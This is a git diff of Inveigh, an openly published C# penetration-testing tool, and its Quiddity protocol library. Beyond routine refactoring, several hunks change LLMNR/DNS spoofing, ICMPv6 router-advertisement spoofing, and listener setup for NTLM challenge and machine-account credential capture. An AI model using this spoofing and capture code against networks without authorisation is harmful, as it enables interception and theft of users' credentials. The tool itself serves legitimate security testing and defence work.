a/Inveigh/Protocols/Quiddity/Protocols/SPNEGO/SPNEGONegTokenInit.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SPNEGO/SPNEGONegTokenInit.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SPNEGO/SPNEGONegTokenResp.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SPNEGO/SPNEGONegTokenResp.cs index 5b4e27c..37747c8 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SPNEGO/SPNEGONegTokenResp.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SPNEGO/SPNEGONegTokenResp.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/TCP/TCPHeader.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/TCP/TCPHeader.cs index 28c3ba9..7e5c059 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/TCP/TCPHeader.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/TCP/TCPHeader.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/UDP/UDPHeader.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/UDP/UDPHeader.cs index f6e8671..34ffa84 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/UDP/UDPHeader.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/UDP/UDPHeader.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Quiddity.csproj b/Inveigh/Protocols/Quiddity/Quiddity/Quiddity.csproj new file mode 100644 index 0000000..4b462b6 --- /dev/null +++ b/Inveigh/Protocols/Quiddity/Quiddity/Quiddity.csproj @@ -0,0 +1,55 @@ +<Project Sdk="Microsoft.NET.Sdk"> + + <PropertyGroup> + <TargetFrameworks>net35;net45;net5.0</TargetFrameworks> + </PropertyGroup> + + <PropertyGroup> + <!-- https://github.com/dotnet/msbuild/issues/1333#issuecomment-296346352 --> + <FrameworkPathOverride Condition="'$(TargetFramework)' == 'net35'">$(MSBuildProgramFiles32)\Reference Assemblies\Microsoft\Framework\.NETFramework\v3.5\Profile\Client</FrameworkPathOverride> + <AutomaticallyUseReferenceAssemblyPackages Condition=" '$(TargetFramework)' == 'net35' ">false</AutomaticallyUseReferenceAssemblyPackages> + <Version>0.0.0-alpha</Version> + <Authors>Kevin Robertson</Authors> + <Company /> + <Description>Quiddity is a protocol library designed for infosec testing and defense related tasks. Quiddity has partial implementation for many protocols including DNS, LLMNR, mDNS, SMB2, LDAP, and DHCPv6.</Description> + <PackageProjectUrl>https://github.com/Kevin-Robertson/Quiddity</PackageProjectUrl> + <RepositoryUrl>https://github.com/Kevin-Robertson/Quiddity.git</RepositoryUrl> + <RepositoryType>git</RepositoryType> + <PackageTags>penetration testing, red team, blue team, purple team, packet, packets, LLMNR, NBNS, mDNS, DNS, SMB, LDAP, HTTP</PackageTags> + <PackageReleaseNotes>initial alpha version</PackageReleaseNotes> + <Copyright>Copyright (c) 2021 Kevin Robertson</Copyright> + <PackageLicenseFile>LICENSE</PackageLicenseFile> + <AssemblyVersion>0.0.0.0</AssemblyVersion> + <FileVersion>0.0.0.0</FileVersion> + </PropertyGroup> + + <ItemGroup Condition="'$(TargetFramework)' == 'net35'"> + <Reference Include="System.DirectoryServices.Protocols"> + <HintPath>$(WINDIR)\Microsoft.NET\Framework64\v2.0.50727\System.DirectoryServices.Protocols.dll</HintPath> + <private>False</private> + </Reference> + </ItemGroup> + + + <ItemGroup Condition="'$(TargetFramework)' == 'net45'"> + <PackageReference Include="System.DirectoryServices.Protocols"> + <Version>5.0</Version> + </PackageReference> + </ItemGroup> + + + <ItemGroup Condition="'$(TargetFramework)' == 'net5.0'"> + <PackageReference Include="System.DirectoryServices.Protocols"> + <Version>5.0</Version> + </PackageReference> + </ItemGroup> + + + <ItemGroup> + <None Include="..\LICENSE"> + <Pack>True</Pack> + <PackagePath></PackagePath> + </None> + </ItemGroup> + +</Project> diff --git a/Inveigh/Protocols/Quiddity/Support/ASN1.cs b/Inveigh/Protocols/Quiddity/Quiddity/Support/ASN1.cs index b1862c7..7c3e006 100644 --- a/Inveigh/Protocols/Quiddity/Support/ASN1.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Support/ASN1.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Support/Utilities.cs b/Inveigh/Protocols/Quiddity/Quiddity/Support/Utilities.cs index 51c994a..272e502 100644 --- a/Inveigh/Protocols/Quiddity/Support/Utilities.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Support/Utilities.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/README.md b/Inveigh/Protocols/Quiddity/README.md index 13f604f..13f604f 100644 --- a/Inveigh/Protocols/README.md +++ b/Inveigh/Protocols/Quiddity/README.md diff --git a/Inveigh/Sniffer/Sniffer.cs b/Inveigh/Sniffer/Sniffer.cs index 4aed22e..36106cf 100644 --- a/Inveigh/Sniffer/Sniffer.cs +++ b/Inveigh/Sniffer/Sniffer.cs @@ -294,22 +294,39 @@ namespace Inveigh DNSListener listener = new DNSListener(UInt32.Parse(Program.argDNSTTL)); - if (packet.Header.IsQuery()) + if(!packet.Header.IsDynamicUpdateRequest()) { - - if (listener.Check(packet.Question.Name, packet.Question.Type, clientIP, out string message)) + if (packet.Header.IsQuery()) { - byte[] buffer = packet.GetBytes(UInt32.Parse(Program.argDNSTTL), Program.dnsSerial, Program.argSpooferIP, Program.argSpooferIPv6); - if (!Utilities.ArrayIsNullOrEmpty(buffer)) + if (listener.Check(packet.Question.Name, packet.Question.Type, clientIP, out string message)) { - UDPSocket.SendTo(clientIP, clientPort, sourceIP, sourcePort, buffer, false); + byte[] buffer = packet.GetBytes(UInt32.Parse(Program.argDNSTTL), Program.dnsSerial, Program.argSpooferIP, Program.argSpooferIPv6); + + if (!Utilities.ArrayIsNullOrEmpty(buffer)) + { + UDPSocket.SendTo(clientIP, clientPort, sourceIP, sourcePort, buffer, false); + } + } + Output.SpooferOutput("DNS", packet.Question.Type, packet.Question.Name, clientIP, message); } - Output.SpooferOutput("DNS", packet.Question.Type, packet.Question.Name, clientIP, message); } + else + { + byte[] flags = new byte[2] { 0xa8, 0x05 }; + byte[] dnsPayload = new byte[data.Length - 2]; + System.Buffer.BlockCopy(data, 2, dnsPayload, 0, dnsPayload.Length); + MemoryStream dnsMemoryStream = new MemoryStream(); + dnsMemoryStream.Write(data, 0, data.Length); + dnsMemoryStream.Position = 2; + dnsMemoryStream.Write(flags, 0, 2); + UDPSocket.SendTo(clientIP, clientPort, sourceIP, sourcePort, dnsMemoryStream.ToArray(), false); + + } + } @@ -438,7 +455,14 @@ namespace Inveigh break; } - byte[] clientMACData = new DHCPv6DUIDLLT(packet.Option1.DUID).LinkLayerAddress; + DHCPv6DUIDLL duid = new DHCPv6DUIDLL(packet.Option1.DUID); + byte[] clientMACData = new DHCPv6DUIDLL(packet.Option1.DUID).LinkLayerAddress; + + if (duid.DUIDType == 1) + { + clientMACData = new DHCPv6DUIDLLT(packet.Option1.DUID).LinkLayerAddress; + } + string clientMAC = BitConverter.ToString(clientMACData).Replace("-", ":"); string clientHostName = ""; diff --git a/Inveigh/Sockets/ICMPv6Socket.cs b/Inveigh/Sockets/ICMPv6Socket.cs index 3f7c4a5..d4f7461 100644 --- a/Inveigh/Sockets/ICMPv6Socket.cs +++ b/Inveigh/Sockets/ICMPv6Socket.cs @@ -1,35 +1,4 @@ -/* - * BSD 3-Clause License - * - * Copyright (c) 2021, Kevin Robertson - * All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions are met: - * - * 1. Redistributions of source code must retain the above copyright notice, this - * list of conditions and the following disclaimer. - * - * 2. Redistributions in binary form must reproduce the above copyright notice, - * this list of conditions and the following disclaimer in the documentation - * and/or other materials provided with the distribution. - * - * 3. Neither the name of the copyright holder nor the names of its - * contributors may be used to endorse or promote products derived from - * this software without specific prior written permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" - * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE - * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE - * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE - * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL - * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR - * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER - * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, - * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE - * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ -using Quiddity.ICMPv6; +using Quiddity.ICMPv6; using Quiddity.Support; using System; using System.Linq; @@ -52,7 +21,7 @@ namespace Inveigh ICMPv6RouterAdvertisement routerAdvertisement = new ICMPv6RouterAdvertisement { - RouterLifeTime = 1800 + RouterLifeTime = ushort.Parse(Program.argICMPv6TTL) }; if (Program.enabledDHCPv6) @@ -72,7 +41,7 @@ namespace Inveigh ICMPv6DNSSearchList dnsSearchList = new ICMPv6DNSSearchList { Length = (byte)length, - Lifetime = 1800, + Lifetime = uint.Parse(Program.argICMPv6TTL), DomainNames = dnsSearchListDataAdjusted }; @@ -86,7 +55,7 @@ namespace Inveigh ICMPv6RecursiveDNS recursiveDNS = new ICMPv6RecursiveDNS { Length = 3, - Lifetime = 1800, + Lifetime = uint.Parse(Program.argICMPv6TTL), RecursiveDNSServers = spooferIPv6Data }; @@ -97,12 +66,13 @@ namespace Inveigh { byte[] sendBuffer = routerAdvertisement.GetBytes(); Socket icmpv6SendSocket = new Socket(AddressFamily.InterNetworkV6, SocketType.Raw, ProtocolType.IcmpV6); + icmpv6SendSocket.SetSocketOption(SocketOptionLevel.IPv6, SocketOptionName.MulticastInterface, Program.networkInterfaceIndexIPv6); icmpv6SendSocket.SetSocketOption(SocketOptionLevel.IPv6, SocketOptionName.MulticastTimeToLive, 255); icmpv6SendSocket.SendBufferSize = sendBuffer.Length; IPEndPoint icmpv6EndPoint = new IPEndPoint(IPAddress.Parse("ff02::1"), 0); icmpv6SendSocket.SendTo(sendBuffer.ToArray(), sendBuffer.Length, SocketFlags.None, icmpv6EndPoint); icmpv6SendSocket.Close(); - Output.Queue(String.Format("[+] [{0}] ICMPv6 router advertisement{1}sent to [ff02::1]", Output.Timestamp(), responseMessage )); + Output.Queue(String.Format("[+] [{0}] ICMPv6 router advertisement{1}sent to [ff02::1]", Output.Timestamp(), responseMessage)); } catch (Exception ex) { diff --git a/Inveigh/Sockets/UDPSocket.cs b/Inveigh/Sockets/UDPSocket.cs index b8a9eb6..aaaf19d 100644 --- a/Inveigh/Sockets/UDPSocket.cs +++ b/Inveigh/Sockets/UDPSocket.cs @@ -1,35 +1,4 @@ -/* - * BSD 3-Clause License - * - * Copyright (c) 2021, Kevin Robertson - * All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions are met: - * - * 1. Redistributions of source code must retain the above copyright notice, this - * list of conditions and the following disclaimer. - * - * 2. Redistributions in binary form must reproduce the above copyright notice, - * this list of conditions and the following disclaimer in the documentation - * and/or other materials provided with the distribution. - * - * 3. Neither the name of the copyright holder nor the names of its - * contributors may be used to endorse or promote products derived from - * this software without specific prior written permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" - * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE - * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE - * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE - * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL - * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR - * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER - * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, - * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE - * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ -using Quiddity.Support; +using Quiddity.Support; using Quiddity.UDP; using System; using System.Net; @@ -43,7 +12,9 @@ namespace Inveigh { IPAddress clientIPAddress = IPAddress.Parse(clientIP); AddressFamily addressFamily = AddressFamily.InterNetwork; + SocketOptionLevel socketOptionLevel = SocketOptionLevel.IP; IPAddress sourceIPAddress = IPAddress.Parse(sourceIP); + int networkInterfaceIndex = Program.networkInterfaceIndexIPv4; UDPHeader header = new UDPHeader { @@ -55,7 +26,9 @@ namespace Inveigh if (String.Equals(clientIPAddress.AddressFamily.ToString(), "InterNetworkV6")) { sourceIPAddress = IPAddress.Parse(sourceIP); + networkInterfaceIndex = Program.networkInterfaceIndexIPv6; addressFamily = AddressFamily.InterNetworkV6; + socketOptionLevel = SocketOptionLevel.IPv6; byte[] checksumBuffer = Utilities.BlockCopy(header.GetBytes(), buffer); header.IPv6Checksum(checksumBuffer, clientIP, sourceIPAddress.ToString(), 17); } @@ -67,6 +40,7 @@ namespace Inveigh SendBufferSize = 1024 }; + socket.SetSocketOption(socketOptionLevel, SocketOptionName.MulticastInterface, networkInterfaceIndex); IPEndPoint ipEndPoint = new IPEndPoint(sourceIPAddress, sourcePort); socket.Bind(ipEndPoint); IPEndPoint clientEndpoint = new IPEndPoint(clientIPAddress, clientPort); @@ -75,4 +49,5 @@ namespace Inveigh } } + } diff --git a/Inveigh/Support/Arguments.cs b/Inveigh/Support/Arguments.cs index c71f47e..83999c8 100644 --- a/Inveigh/Support/Arguments.cs +++ b/Inveigh/Support/Arguments.cs @@ -1,4 +1,5 @@ -using System; +using Quiddity.Support; +using System; using System.Collections.Generic; using System.IO; using System.Linq; @@ -31,7 +32,7 @@ namespace Inveigh nameof(Program.argLocal), nameof(Program.argLLMNR), nameof(Program.argLogOutput), - nameof(Program.argMachineAccounts), + nameof(Program.argMachineAccount), nameof(Program.argMDNS), nameof(Program.argMDNSUnicast), nameof(Program.argNBNS), @@ -58,7 +59,7 @@ namespace Inveigh Program.argLocal, Program.argLLMNR, Program.argLogOutput, - Program.argMachineAccounts, + Program.argMachineAccount, Program.argMDNS, Program.argMDNSUnicast, Program.argNBNS, @@ -76,6 +77,7 @@ namespace Inveigh nameof(Program.argDHCPv6TTL), nameof(Program.argDNSTTL), nameof(Program.argICMPv6Interval), + nameof(Program.argICMPv6TTL), nameof(Program.argLLMNRTTL), nameof(Program.argMDNSTTL), nameof(Program.argNBNSTTL), @@ -92,6 +94,7 @@ namespace Inveigh Program.argDHCPv6TTL, Program.argDNSTTL, Program.argICMPv6Interval, + Program.argICMPv6TTL, Program.argLLMNRTTL, Program.argMDNSTTL, Program.argNBNSTTL, @@ -101,7 +104,7 @@ namespace Inveigh }; ValidateStringArguments(ynArguments, ynArgumentValues, new string[] { "Y", "N" }); - ValidateStringArguments(new string[] { nameof(Program.argConsole) }, new string[] { Program.argConsole }, new string[] { "0", "1", "2", "3" }); + ValidateStringArguments(new string[] { nameof(Program.argConsole) }, new string[] { Program.argConsole }, new string[] { "0", "1", "2", "3", "4", "5" }); string[] authArguments = { nameof(Program.argHTTPAuth), nameof(Program.argProxyAuth), nameof(Program.argWPADAuth), nameof(Program.argWebDAVAuth) }; string[] authArgumentValues = { Program.argHTTPAuth, Program.argProxyAuth, Program.argWPADAuth, Program.argWebDAVAuth }; ValidateStringArguments(authArguments, authArgumentValues, new string[] { "ANONYMOUS", "BASIC", "NTLM" }); @@ -180,7 +183,7 @@ namespace Inveigh if (string.Equals(Program.argMDNS, "Y")) { Program.enabledMDNS = true; } if (string.Equals(Program.argMDNSUnicast, "Y")) { Program.enabledMDNSUnicast = true; } if (string.Equals(Program.argProxy, "Y")) { Program.enabledProxy = true; } - if (string.Equals(Program.argMachineAccounts, "Y")) { Program.enabledMachineAccounts = true; } + if (string.Equals(Program.argMachineAccount, "Y")) { Program.enabledMachineAccountCapture = true; } if (string.Equals(Program.argNBNS, "Y")) { Program.enabledNBNS = true; } if (string.Equals(Program.argSniffer, "Y")) { Program.enabledSniffer = true; } if (!Program.enabledWindows) { Program.enabledSniffer = false; } @@ -288,21 +291,87 @@ namespace Inveigh } - if (string.IsNullOrEmpty(Program.argMAC)) + if (!Program.enabledIPv4) { - if (string.IsNullOrEmpty(Program.argSnifferIPv6)) + Program.argDNSTypes = Program.argDNSTypes.Where(element => element != "A").ToArray(); + + if (Utilities.ArrayIsNullOrEmpty(Program.argDNSTypes)) { - Program.argMAC = GetLocalMACAddress(GetLocalIPAddress("IPv6")); + Program.argDNSTypes = new string[] { "AAAA" }; } - else + + Program.argLLMNRTypes = Program.argLLMNRTypes.Where(element => element != "A").ToArray(); + + if (Utilities.ArrayIsNullOrEmpty(Program.argLLMNRTypes)) { - Program.argMAC = GetLocalMACAddress(Program.argSnifferIPv6); + Program.argLLMNRTypes = new string[] { "AAAA" }; + } + + Program.argMDNSTypes = Program.argMDNSTypes.Where(element => element != "A").ToArray(); + + if (Utilities.ArrayIsNullOrEmpty(Program.argMDNSTypes)) + { + Program.argMDNSTypes = new string[] { "AAAA" }; } } - - Program.argMAC = Program.argMAC.Insert(2, ":").Insert(5, ":").Insert(8, ":").Insert(11, ":").Insert(14, ":"); + + if (!Program.enabledIPv6) + { + + Program.argDNSTypes = Program.argDNSTypes.Where(element => element != "AAAA").ToArray(); + + if (Utilities.ArrayIsNullOrEmpty(Program.argDNSTypes)) + { + Program.argDNSTypes = new string[] { "A" }; + } + + Program.argLLMNRTypes = Program.argLLMNRTypes.Where(element => element != "AAAA").ToArray(); + + if (Utilities.ArrayIsNullOrEmpty(Program.argLLMNRTypes)) + { + Program.argLLMNRTypes = new string[] { "A" }; + } + + Program.argMDNSTypes = Program.argMDNSTypes.Where(element => element != "AAAA").ToArray(); + + if (Utilities.ArrayIsNullOrEmpty(Program.argMDNSTypes)) + { + Program.argMDNSTypes = new string[] { "A" }; + } + + } + + if (Program.enabledIPv6) + { + + if (string.IsNullOrEmpty(Program.argMAC)) + { + + if (string.IsNullOrEmpty(Program.argSnifferIPv6)) + { + Program.argMAC = GetLocalMACAddress(GetLocalIPAddress("IPv6")); + } + else + { + Program.argMAC = GetLocalMACAddress(Program.argSnifferIPv6); + } + + } + + Program.argMAC = Program.argMAC.Insert(2, ":").Insert(5, ":").Insert(8, ":").Insert(11, ":").Insert(14, ":"); + } + + if (!string.IsNullOrEmpty(Program.argSnifferIP)) + { + Program.networkInterfaceIndexIPv4 = GetNetworkInterfaceIndex(Program.argSniffer); + } + + if (!string.IsNullOrEmpty(Program.argSnifferIPv6)) + { + Program.networkInterfaceIndexIPv6 = GetNetworkInterfaceIndex(Program.argSnifferIPv6); + } if (Program.enabledInspect) { @@ -514,5 +583,39 @@ namespace Inveigh return macAddressList.FirstOrDefault(); } + public static int GetNetworkInterfaceIndex(string ipAddress) + { + int index = 0; + + foreach (NetworkInterface networkInterface in NetworkInterface.GetAllNetworkInterfaces()) + { + + if (networkInterface.NetworkInterfaceType == NetworkInterfaceType.Ethernet && networkInterface.OperationalStatus == OperationalStatus.Up) + { + + foreach (UnicastIPAddressInformation ip in networkInterface.GetIPProperties().UnicastAddresses) + { + + if (ip.Address.AddressFamily == AddressFamily.InterNetworkV6 && string.Equals(ip.Address.ToString(), ipAddress)) + { + index = networkInterface.GetIPProperties().GetIPv6Properties().Index; + break; + } + else if (ip.Address.AddressFamily == AddressFamily.InterNetwork && string.Equals(ip.Address.ToString(), ipAddress)) + { + index = networkInterface.GetIPProperties().GetIPv4Properties().Index; + break; + } + + } + + } + + } + + return index; + } + } + } diff --git a/Inveigh/Support/Control.cs b/Inveigh/Support/Control.cs index a0e7f44..9717f4f 100644 --- a/Inveigh/Support/Control.cs +++ b/Inveigh/Support/Control.cs @@ -124,6 +124,7 @@ namespace Inveigh Output.ProcessOutput(); Output.ProcessFileOutput(); Program.isRunning = false; + Quiddity.HTTPListener.isRunning = false; while (Program.consoleList.Count > 0) { @@ -313,9 +314,21 @@ namespace Inveigh if (Program.enabledSMB) { - SMBListener smbListener = new SMBListener(); - Thread smbListenerThread = new Thread(() => smbListener.Start(IPAddress.Parse(Program.argListenerIP), 445)); - smbListenerThread.Start(); + foreach (string port in Program.argSMBPorts) + { + + SMBListener smbListener = new SMBListener + { + Challenge = Program.argChallenge, + NetbiosDomain = Program.netbiosDomain, + ComputerName = Program.computerName, + DNSDomain = Program.dnsDomain + }; + + Thread smbListenerThread = new Thread(() => smbListener.Start(IPAddress.Parse(Program.argListenerIP), Int32.Parse(port))); + smbListenerThread.Start(); + } + } } @@ -353,9 +366,22 @@ namespace Inveigh if (Program.enabledSMB) { - SMBListener smbv6Listener = new SMBListener(); - Thread smbv6ListenerThread = new Thread(() => smbv6Listener.Start(IPAddress.Parse(Program.argListenerIPv6), 445)); - smbv6ListenerThread.Start(); + + foreach (string port in Program.argSMBPorts) + { + + SMBListener smbv6Listener = new SMBListener + { + Challenge = Program.argChallenge, + NetbiosDomain = Program.netbiosDomain, + ComputerName = Program.computerName, + DNSDomain = Program.dnsDomain + }; + + Thread smbv6ListenerThread = new Thread(() => smbv6Listener.Start(IPAddress.Parse(Program.argListenerIPv6), Int32.Parse(port))); + smbv6ListenerThread.Start(); + } + } } @@ -373,7 +399,23 @@ namespace Inveigh foreach (string port in Program.argHTTPPorts) { - HTTPListener httpListener = new HTTPListener(); + + HTTPListener httpListener = new HTTPListener + { + Challenge = Program.argChallenge, + EnabledWebDAV = true, + IgnoreAgents = Program.argIgnoreAgents, + HTTPAuth = Program.argHTTPAuth, + WebDAVAuth = Program.argWebDAVAuth, + WPADAuth = Program.argWPADAuth, + HTTPRealm = Program.argHTTPRealm, + HTTPResponse = Program.argHTTPResponse, + WPADResponse = Program.argWPADResponse, + NetbiosDomain = Program.netbiosDomain, + ComputerName = Program.computerName, + DNSDomain = Program.dnsDomain + }; + Thread httpListenerThread = new Thread(() => httpListener.Start(IPAddress.Parse(Program.argListenerIP), Int32.Parse(port), "HTTP")); httpListenerThread.Start(); } @@ -385,7 +427,25 @@ namespace Inveigh foreach (string port in Program.argHTTPSPorts) { - HTTPListener httpsListener = new HTTPListener(); + + HTTPListener httpsListener = new HTTPListener + { + Challenge = Program.argChallenge, + Cert = Program.argCert, + CertPassword = Program.argCertPassword, + EnabledWebDAV = true, + IgnoreAgents = Program.argIgnoreAgents, + HTTPAuth = Program.argHTTPAuth, + WebDAVAuth = Program.argWebDAVAuth, + WPADAuth = Program.argWPADAuth, + HTTPRealm = Program.argHTTPRealm, + HTTPResponse = Program.argHTTPResponse, + WPADResponse = Program.argWPADResponse, + NetbiosDomain = Program.netbiosDomain, + ComputerName = Program.computerName, + DNSDomain = Program.dnsDomain + }; + Thread httpsListenerThread = new Thread(() => httpsListener.Start(IPAddress.Parse(Program.argListenerIP), Int32.Parse(port), "HTTPS")); httpsListenerThread.Start(); } @@ -397,7 +457,15 @@ namespace Inveigh foreach (string port in Program.argLDAPPorts) { - LDAPListener ldapListener = new LDAPListener(); + + LDAPListener ldapListener = new LDAPListener + { + Challenge = Program.argChallenge, + NetbiosDomain = Program.netbiosDomain, + ComputerName = Program.computerName, + DNSDomain = Program.dnsDomain + }; + Thread ldapListenerThread = new Thread(() => ldapListener.Start(IPAddress.Parse(Program.argListenerIP), Int32.Parse(port))); ldapListenerThread.Start(); } @@ -406,7 +474,23 @@ namespace Inveigh if (Program.enabledProxy) { - HTTPListener proxyListener = new HTTPListener(); + + HTTPListener proxyListener = new HTTPListener + { + Challenge = Program.argChallenge, + EnabledWebDAV = false, + IgnoreAgents = Program.argIgnoreAgents, + HTTPAuth = Program.argHTTPAuth, + WebDAVAuth = Program.argWebDAVAuth, + WPADAuth = Program.argWPADAuth, + HTTPRealm = Program.argHTTPRealm, + HTTPResponse = Program.argHTTPResponse, + WPADResponse = Program.argWPADResponse, + NetbiosDomain = Program.netbiosDomain, + ComputerName = Program.computerName, + DNSDomain = Program.dnsDomain + }; + Thread proxyListenerThread = new Thread(() => proxyListener.Start(IPAddress.Parse(Program.argListenerIP), Int32.Parse(Program.argProxyPort), "Proxy")); proxyListenerThread.Start(); } @@ -422,7 +506,15 @@ namespace Inveigh foreach (string port in Program.argLDAPPorts) { - LDAPListener ldapv6Listener = new LDAPListener(); + + LDAPListener ldapv6Listener = new LDAPListener + { + Challenge = Program.argChallenge, + NetbiosDomain = Program.netbiosDomain, + ComputerName = Program.computerName, + DNSDomain = Program.dnsDomain + }; + Thread ldapv6ListenerThread = new Thread(() => ldapv6Listener.Start(IPAddress.Parse(Program.argListenerIPv6), Int32.Parse(port))); ldapv6ListenerThread.Start(); } @@ -434,7 +526,23 @@ namespace Inveigh foreach (string port in Program.argHTTPPorts) { - HTTPListener httpv6Listener = new HTTPListener(); + + HTTPListener httpv6Listener = new HTTPListener + { + Challenge = Program.argChallenge, + EnabledWebDAV = true, + IgnoreAgents = Program.argIgnoreAgents, + HTTPAuth = Program.argHTTPAuth, + WebDAVAuth = Program.argWebDAVAuth, + WPADAuth = Program.argWPADAuth, + HTTPRealm = Program.argHTTPRealm, + HTTPResponse = Program.argHTTPResponse, + WPADResponse = Program.argWPADResponse, + NetbiosDomain = Program.netbiosDomain, + ComputerName = Program.computerName, + DNSDomain = Program.dnsDomain + }; + Thread httpv6ListenerThread = new Thread(() => httpv6Listener.Start(IPAddress.Parse(Program.argListenerIPv6), Int32.Parse(port), "HTTPv6")); httpv6ListenerThread.Start(); } @@ -446,7 +554,25 @@ namespace Inveigh foreach (string port in Program.argHTTPPorts) { - HTTPListener httpsv6Listener = new HTTPListener(); + + HTTPListener httpsv6Listener = new HTTPListener + { + Challenge = Program.argChallenge, + Cert = Program.argCert, + CertPassword = Program.argCertPassword, + EnabledWebDAV = true, + IgnoreAgents = Program.argIgnoreAgents, + HTTPAuth = Program.argHTTPAuth, + WebDAVAuth = Program.argWebDAVAuth, + WPADAuth = Program.argWPADAuth, + HTTPRealm = Program.argHTTPRealm, + HTTPResponse = Program.argHTTPResponse, + WPADResponse = Program.argWPADResponse, + NetbiosDomain = Program.netbiosDomain, + ComputerName = Program.computerName, + DNSDomain = Program.dnsDomain + }; + Thread httpsv6ListenerThread = new Thread(() => httpsv6Listener.Start(IPAddress.Parse(Program.argListenerIPv6), Int32.Parse(port), "HTTPSv6")); httpsv6ListenerThread.Start(); } diff --git a/Inveigh/Support/Output.cs b/Inveigh/Support/Output.cs index 936a5c7..926682c 100644 --- a/Inveigh/Support/Output.cs +++ b/Inveigh/Support/Output.cs @@ -130,6 +130,11 @@ namespace Inveigh Console.WriteLine(); } + public static void OutputCommand(string message) + { + Console.WriteLine(message); + } + public static void OutputCommand(string description, string[] headings, IList<string> list, ConsoleColor color) { Console.ForegroundColor = color; @@ -215,7 +220,12 @@ namespace Inveigh consoleEntry = ""; } - string entryType = consoleEntry.Substring(1, 1); + string entryType = ""; + + if (consoleEntry.Length > 1) + { + entryType = consoleEntry.Substring(1, 1); + } if (entryType.Equals(".")) { @@ -229,6 +239,10 @@ namespace Inveigh { OutputColor(consoleEntry, "+", Program.colorPositive); } + else if (entryType.Equals(" ")) + { + OutputColor(consoleEntry, " ", Program.colorDisabled); + } else if (entryType.Equals("!")) { Console.ForegroundColor = ConsoleColor.Yellow; @@ -272,7 +286,7 @@ namespace Inveigh } else { - Queue("[-] Packet Sniffer"); + Queue("[ ] Packet Sniffer"); } GetStartupMessageIP(string.Concat("Listener ", address), Program.argListenerIP, Program.argListenerIPv6); @@ -323,7 +337,7 @@ namespace Inveigh } else { - Queue("[-] ICMPv6"); + Queue("[ ] ICMPv6"); } GetStartupMessageUDP("LLMNR", Program.enabledLLMNR, Program.argLLMNRTypes, null, null, null); @@ -336,7 +350,7 @@ namespace Inveigh GetStartupMessageTCP("LDAP", Program.enabledLDAP, null, null, Program.argLDAPPorts); GetStartupMessageTCP("SMB", Program.enabledSMB, 